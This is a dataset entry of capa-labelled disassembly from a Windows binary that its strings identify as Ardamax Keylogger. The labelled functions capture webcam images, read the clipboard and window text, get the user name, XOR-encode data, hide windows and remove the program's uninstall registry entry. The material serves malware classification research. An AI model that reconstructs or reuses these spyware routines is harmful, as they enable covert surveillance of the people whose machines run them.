joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032f7
Capabilities:
Capture webcam image

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
lea esi, [ebp - 0x14]
call fcn.0041d008
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov ebx, 0x104
push ebx
lea eax, [edi + 0x6b4]
push eax
push 0x401
push dword [edi + 4]
call esi
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
lea eax, [edi + 0x6b4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40338a
movzx eax, word [0x46e980]
push eax
push 0xc7
lea eax, [ebp - 4]
call fcn.0040ef5c
push 0x30
push 0x465024
push dword [ebp - 4]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x401
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x403475
push ebx
lea eax, [edi + 0x98]
push eax
push 0x407
push dword [edi + 4]
call esi
push ebx
lea eax, [edi + 0x4ac]
push eax
push 0x405
push dword [edi + 4]
call esi
push 1
push 0
push 0x419
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push ebx
mov dword [edi + 0x2a0], eax
lea eax, [edi + 0x2a4]
push eax
push 0x406
push dword [edi + 4]
call esi
push 0
push 0
push 0xf0
push dword [edi + 0x54]
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [edi + 0x94], eax
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [edi + 0x2a4]
push eax
lea eax, [edi + 0x98]
push eax
push dword [edi + 0x2a0]
lea eax, [edi + 0x4ac]
push eax
lea eax, [edi + 0x6b4]
push eax
mov eax, dword [edi + 0x94]
call fcn.004030e7
test eax, eax
mov esi, dword [ebp - 8]
je 0x40345c
movzx eax, word [0x46e980]
push eax
push 0xc8
lea eax, [ebp - 4]
call fcn.0040ef5c
push 0x40
push 0x465024
push dword [ebp - 4]
jmp 0x403464
push 0x30
push 0x465024
push esi
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [esi - 0x10]
call fcn.0041ad22
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
cmp byte [ebp - 0xc], 0
pop esi
pop ebx
je 0x403491
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
leave
ret
Function at 0x4049fa
Capabilities:
Capture webcam image

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 0
mov esi, eax
push 0xf0
push dword [esi + 0x94]
call dword [sym.imp.USER32.dll_SendMessageW]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x3fe
push dword [esi + 4]
mov ebp, eax
call edi
mov ebx, dword [sym.imp.USER32.dll_EnableWindow]
push ebp
push eax
call ebx
push 0x424
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x3ff
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x419
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x436
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x434
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x438
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x435
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x439
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x437
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
push 0x428
push dword [esi + 4]
call edi
push ebp
push eax
call ebx
call fcn.00404ac7
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4054ac
Capabilities:
Connect network resource
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
lea esi, [ebp - 0x1c]
call fcn.0041d008
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov ebx, 0x104
push ebx
lea eax, [edi + 0x4a0]
push eax
push 0x407
push dword [edi + 4]
call esi
push ebx
lea eax, [edi + 0x6a8]
push eax
push 0x406
push dword [edi + 4]
call esi
push ebx
lea eax, [edi + 0x90]
push eax
mov ebx, 0x445
push ebx
push dword [edi + 4]
call esi
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
lea esi, [edi + 0x90]
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x405560
movzx eax, word [0x46e980]
push eax
push 0xc9
lea eax, [ebp - 4]
call fcn.0040ef5c
push 0x30
push 0x465024
push dword [ebp - 4]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
push ebx
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x405677
xor ebx, ebx
push ebx
lea eax, [edi + 0x4a0]
push eax
lea eax, [edi + 0x6a8]
push eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], ebx
call sub.MPR.dll_WNetAddConnection2W
mov dword [ebp - 0x10], eax
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.0041cfdd
push str.AKL_TEST.txt
lea eax, [ebp - 0xc]
push eax
call fcn.0040ef36
push 2
push ebx
push 0x40000000
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.0041cf12
test eax, eax
jl 0x4055ff
movzx eax, word [0x46e980]
push eax
push 0xca
lea eax, [ebp - 4]
call fcn.0040ef5c
push 0x40
push 0x465024
push dword [ebp - 4]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [ebp - 8], ebx
je 0x4055f4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x405655
cmp dword [ebp - 0x10], ebx
je 0x40561c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, word [0x46e980]
push eax
push 0xcb
jmp 0x405629
movzx eax, word [0x46e980]
push eax
push 0xcc
lea eax, [ebp - 4]
call fcn.0040ef5c
push dword [0x46e980]
lea eax, [ebp - 4]
push eax
call fcn.0041db20
pop ecx
pop ecx
push 0x30
push 0x465024
push dword [ebp - 4]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
push 1
push ebx
push esi
call sub.MPR.dll_WNetCancelConnection2W
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
cmp dword [ebp - 8], ebx
je 0x405677
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
cmp byte [ebp - 0x14], 0
pop esi
pop ebx
je 0x405693
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
leave
ret
Function at 0x4061ef
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x465048
push 0x46e978
push 0x465054
mov eax, 0x46e974
lea ecx, [ebp - 0xc]
call fcn.0040efd9
pop ecx
lea ecx, [ebp - 8]
call fcn.0040efa7
pop ecx
lea ecx, [ebp - 4]
call fcn.0040efd9
pop ecx
push 1
mov ecx, 0x4661a4
push ecx
push ecx
push dword [eax]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
xor eax, eax
inc eax
leave
ret

Function at 0x407a06
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
mov edi, str.207144FA6AD570E
push edi
call esi
push dword [ebp + 8]
mov dword [ebp - 8], eax
call esi
mov esi, eax
test esi, esi
mov dword [ebp - 0xc], esi
jne 0x407a31
mov byte [ebx], al
jmp 0x407a79
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
cmp esi, eax
mov dword [ebp - 4], esi
jg 0x407a46
mov dword [ebp - 4], eax
xor esi, esi
cmp dword [ebp - 4], esi
jle 0x407a79
mov eax, esi
cdq
idiv dword [ebp - 8]
mov eax, esi
push 0x19
pop edi
lea ecx, [edx + ebx]
cdq
idiv dword [ebp - 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
movzx edx, byte [ecx]
xor eax, edx
cdq
idiv edi
add dl, 0x41
inc esi
cmp esi, dword [ebp - 4]
mov byte [ecx], dl
jl 0x407a4d
pop edi
pop esi
leave
ret 4
Function at 0x407b4b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
cmp word [ebp + 8], 1
push ebx
push esi
jne 0x407c98
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x210]
push eax
push 0x3f7
push dword [edi + 4]
call esi
push ebx
lea eax, [ebp - 0x418]
push eax
push 0x407
push dword [edi + 4]
call esi
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x407be7
movzx eax, word [edi + 0x24]
push eax
push 0xd5
lea eax, [ebp - 4]
call fcn.0040ef5c
mov esi, dword [ebp - 4]
push 0x30
push 0x465024
push esi
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [esi - 0x10]
call fcn.0041ad22
jmp 0x407cc5
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 8]
call fcn.0041cfdd
mov esi, 0x46cd2c
push dword [esi]
lea eax, [ebp - 8]
push eax
call fcn.004107f4
test eax, eax
je 0x407ccd
add esi, 4
cmp esi, 0x46cd4c
jl 0x407bfb
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
push ecx
lea ecx, [ebp - 0x418]
mov eax, esp
push ecx
call fcn.0041cfdd
push ecx
lea ecx, [ebp - 0x210]
mov eax, esp
push ecx
call fcn.0041cfdd
call fcn.00407a7f
test eax, eax
movzx eax, word [edi + 0x24]
push eax
lea eax, [ebp - 4]
je 0x407d27
push 0xd4
call fcn.0040ef5c
mov esi, dword [ebp - 4]
push 0x40
push 0x465024
push esi
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [ebp - 0x210]
push eax
push dword [edi + 0x20]
call fcn.0041cf47
push 1
mov eax, 0x46e838
call fcn.0041ef1d
lea eax, [esi - 0x10]
call fcn.0041ad22
push 0x30
call fcn.00428ddc
test eax, eax
pop ecx
je 0x407cb7
mov ecx, edi
neg ecx
lea edx, [edi + 4]
sbb ecx, ecx
and ecx, edx
push ecx
mov esi, eax
call fcn.0040680c
movzx eax, word [ebp + 8]
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
pop esi
xor eax, eax
pop ebx
leave
ret 4
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
movzx eax, word [edi + 0x24]
push eax
push 0xd6
lea eax, [ebp - 4]
call fcn.0040ef5c
mov esi, dword [ebp - 4]
push 0x14
push 0x465024
push esi
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x407bda
push 3
mov eax, 0x4661a4
push eax
push eax
push str.http:__www.ardamax.com_keylogger_banned.html
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x407bda
push 0xd7
jmp 0x407bc1
Function at 0x4086b8
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 1
mov eax, edi
call fcn.004082ff
xor ebx, ebx
push ebx
push ebx
push 0xf0
push dword [edi + 0x6c]
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x4087ca
mov eax, dword [0x46dd38]
mov esi, 0x46dd38
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 8], eax
mov eax, dword [0x46dd38]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
movzx eax, word [0x46e980]
push eax
push 0x7d
lea eax, [ebp - 8]
call fcn.0040ef5c
movzx eax, word [0x46e980]
push eax
push 0x7c
lea eax, [ebp - 4]
call fcn.0040ef5c
lea esi, [edi + 0x308]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x408785
push ebx
lea esi, [ebp - 4]
call fcn.0041d036
push ebx
lea esi, [ebp - 8]
mov dword [ebp - 0xc], eax
call fcn.0041d036
push 0x30
push dword [ebp - 0xc]
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [edi + 0x74]
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
or eax, 0xffffffff
jmp 0x4087cc
movzx eax, word [0x46e980]
push eax
push 0x7e
lea eax, [ebp - 8]
call fcn.0040ef5c
movzx eax, word [0x46e980]
push eax
push 0x7c
lea eax, [ebp - 4]
call fcn.0040ef5c
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40873d
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x408b79
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x413
push dword [esi + 4]
call edi
mov ebx, eax
lea eax, [esi + 0x58]
call fcn.0040f303
push 0x41b
push dword [esi + 4]
call edi
push 0x415
mov dword [esi + 0x90], eax
push dword [esi + 4]
call edi
mov dword [esi + 0x8c], eax
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
movzx eax, word [0x46e980]
push eax
push 0x82
lea eax, [ebp - 4]
call fcn.0040ef5c
lea eax, [ebp - 8]
push 0x465020
push eax
lea eax, [ebp - 4]
call fcn.0040f019
pop ecx
pop ecx
lea edi, [ebp - 4]
call fcn.0041d135
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
push 0
mov esi, edi
call fcn.0041d036
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_SetDlgItemTextW]
push eax
push 0x413
push dword [ebx + 4]
call edi
movzx eax, word [0x46e980]
push eax
push 0x83
mov eax, esi
call fcn.0040ef5c
push 0
call fcn.0041d036
push eax
push 0x414
push dword [ebx + 4]
call edi
movzx eax, word [0x46e980]
push eax
push 0x84
mov eax, esi
call fcn.0040ef5c
push 0
call fcn.0041d036
push eax
push 0x409
push dword [ebx + 4]
call edi
movzx eax, word [0x46e980]
push eax
push 0x85
mov eax, esi
call fcn.0040ef5c
push 0
call fcn.0041d036
push eax
push 0x412
push dword [ebx + 4]
call edi
movzx eax, word [0x46e980]
push eax
push 0x11
mov eax, esi
call fcn.0040ef5c
push 0
call fcn.0041d036
push eax
push 0x411
push dword [ebx + 4]
call edi
push str.Install.exe
mov eax, 0x46e974
lea ecx, [ebp + 8]
call fcn.0040efd9
mov edi, dword [ebx + 0x2a4]
pop ecx
call fcn.0041d135
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebx + 0x2a4]
push dword [eax]
lea eax, [ebx + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [0x46e97c], 0
jne 0x408d31
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x41b
push dword [ebx + 4]
call edi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call esi
push 0x412
push dword [ebx + 4]
call edi
push 0
push eax
call esi
jmp 0x408d38
mov esi, ebx
call fcn.00408d56
push 0
mov eax, ebx
call fcn.00408b40
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 4
Function at 0x40b1ad
Capabilities:
Extract http body

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push 0x96
push 2
xor esi, esi
push esi
push esi
push dword [0x46e7f0]
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
je 0x40b266
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x12c]
cmp eax, esi
je 0x40b266
lea ecx, [ebp - 4]
push ecx
push esi
push str._D_3
push dword [ebp - 8]
mov dword [ebp - 4], esi
call eax
test eax, eax
jl 0x40b259
mov eax, dword [ebp - 4]
lea edx, [ebp + 8]
push edx
mov dword [ebp + 8], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x40b24c
mov eax, dword [ebp + 8]
cmp eax, esi
je 0x40b259
lea edx, [ebp + 0xc]
push edx
mov dword [ebp + 0xc], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xf0]
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
call fcn.0041cfdd
call fcn.0041d135
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
push dword [ebp + 0xc]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp + 8]
cmp eax, esi
je 0x40b259
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x40b266
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop esi
leave
ret 8

Function at 0x40b41d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
test byte [ebp + 0x10], 4
push esi
push edi
je 0x40b467
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 4
push 0x1000
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov edi, eax
push edi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push edi
push dword [ebp + 0x14]
call fcn.0041cf47
push 0x8000
push 0
push edi
jmp 0x40b4ef
test byte [ebp + 0x10], 8
je 0x40b47d
push dword [ebp + 0xc]
mov edi, dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.0040b1ad
jmp 0x40b4f5
test byte [ebp + 0x10], 0x20
je 0x40b49d
push dword [ebp + 0x14]
push ecx
mov eax, esp
push 0x4661a4
call fcn.0041cfdd
push dword [ebp + 0xc]
call fcn.0040b26b
jmp 0x40b4f5
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0xe
push dword [ebp + 0xc]
call esi
push 4
push 0x1000
lea edi, [eax + 1]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
push edi
push 0xd
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
call esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x40b4e5
push dword [ebp + 8]
push dword [ebp + 0x14]
call fcn.0041cf47
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test byte [ebp + 0x10], 0x10
je 0x40b529
mov edi, dword [ebp + 0x14]
mov eax, dword [edi]
push ecx
sub eax, 0x10
mov esi, esp
call fcn.0041cd37
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp + 0xc]
push eax
call fcn.0040b12c
call fcn.0041d135
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
pop esi
pop ebp
ret 0x10
Function at 0x40b8a3
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
mov edi, 0x46dd38
mov ecx, edi
lea esi, [ebp - 0x14]
call fcn.0041ad3a
mov ecx, edi
lea esi, [ebp - 0x10]
call fcn.0041ad3a
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x14]
mov edi, esi
call fcn.0041d135
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0041cf47
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
add esi, 8
push eax
lea edi, [ebp - 0x2c]
lea eax, [ebp + 0xc]
mov ecx, esi
call fcn.00413c81
test eax, eax
jne 0x40b93a
push dword [ebp - 0xc]
lea eax, [ebp + 0xc]
push dword [ebp - 4]
push eax
mov eax, esi
call fcn.00413cc6
lea ebx, [ebp - 0x28]
lea esi, [eax + 4]
call fcn.004139c2
mov edi, dword [ebp + 8]
lea eax, [edi + 0x38]
push eax
mov eax, dword [ebp + 0x10]
call fcn.004133eb
test byte [eax + 0xc], 2
je 0x40b98a
lea esi, [edi + 0x11c]
cmp dword [esi], 0
jne 0x40b97d
push 0
mov eax, 0x3e8
push eax
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi], 1
lea eax, [ebp + 0xc]
push eax
lea eax, [edi + 0x68]
push eax
call fcn.00413527
push dword [ebp + 0xc]
call dword [edi + 0x124]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40bbe7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d0
push edi
push ebx
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov ecx, dword [esi + 8]
cmp ecx, 0xffffffff
je 0x40bc04
cmp ecx, eax
jne 0x40bc64
cmp dword [esi + 0xc], 0
je 0x40bc15
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40bc64
mov edi, 0x3e8
push edi
lea eax, [ebp - 0x7d0]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
mov ecx, dword [esi]
lea eax, [ebp - 0x7d0]
push eax
call fcn.0041dcfa
test eax, eax
pop ecx
je 0x40bc64
push edi
lea eax, [ebp - 0x7d0]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x7d0]
push eax
call fcn.0041dcfa
test eax, eax
pop ecx
je 0x40bc64
xor eax, eax
inc eax
jmp 0x40bc66
xor eax, eax
pop edi
leave
ret
Function at 0x40ccb8
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0xd
mov esi, eax
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x40cd23
push dword [esi + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40cd23
push ebx
push edi
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
call fcn.00426efc
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
add esi, 0x210
push dword [esi]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
pop edi
pop ebx
je 0x40cd23
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esi]
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
pop esi
ret 0xc
Function at 0x40d312
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x465048
push 0x46e978
push 0x465054
mov eax, 0x46e974
lea ecx, [ebp - 0xc]
call fcn.0040efd9
pop ecx
lea ecx, [ebp - 8]
call fcn.0040efa7
pop ecx
lea ecx, [ebp - 4]
call fcn.0040efd9
pop ecx
push 1
mov ecx, 0x4661a4
push ecx
push ecx
push dword [eax]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp - 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
xor eax, eax
leave
ret

Function at 0x40d5db
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push esi
mov esi, eax
xor ebx, ebx
cmp dword [esi + 0x224], ebx
je 0x40d5fe
cmp dword [0x46e870], ebx
je 0x40d5fe
call fcn.0040d3d8
jmp 0x40d601
xor eax, eax
inc eax
cmp eax, ebx
je 0x40d684
cmp edi, ebx
mov dword [esi + 0x224], edi
je 0x40d61e
cmp dword [0x46e89c], ebx
je 0x40d61e
call fcn.0040cdbb
jmp 0x40d623
call fcn.0040cd29
cmp edi, ebx
je 0x40d633
cmp dword [0x46e8a0], ebx
je 0x40d633
push 1
jmp 0x40d634
push ebx
call fcn.0040d786
cmp edi, ebx
je 0x40d649
cmp dword [0x46e8a4], ebx
je 0x40d649
push 1
jmp 0x40d64a
push ebx
call fcn.0040d902
cmp edi, ebx
je 0x40d65f
cmp dword [0x46e8a8], ebx
je 0x40d65f
push 6
jmp 0x40d664
push 0x80
push dword [0x46e974]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [0x46e8b0]
mov eax, esi
push dword [0x46e8ac]
push edi
call fcn.0040e3c2
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d786
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
mov dword [ebp - 4], ebx
je 0x40d7df
lea eax, [ebp + 8]
push eax
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall_
push connect
mov dword [ebp + 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d881
cmp dword [ebp + 8], ebx
je 0x40d881
push 0x465024
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40d881
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallArdamax_Keylogger
mov esi, connect
push esi
lea eax, [ebp - 4]
call fcn.0041c6c7
cmp dword [ebp - 4], ebx
je 0x40d880
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp + 8]
push eax
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall_
push esi
mov dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d82e
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push str.DisplayName
push 0x465140
mov esi, 0x465024
push esi
lea eax, [ebp - 4]
call fcn.0041c684
push str.Uninstall.exe
mov eax, 0x46e974
lea ecx, [ebp + 8]
call fcn.0040efd9
mov dword [esp], str.UninstallString
push dword [eax]
lea eax, [ebp - 4]
push esi
call fcn.0041c684
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
cmp dword [ebp - 4], ebx
je 0x40d87f
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret 4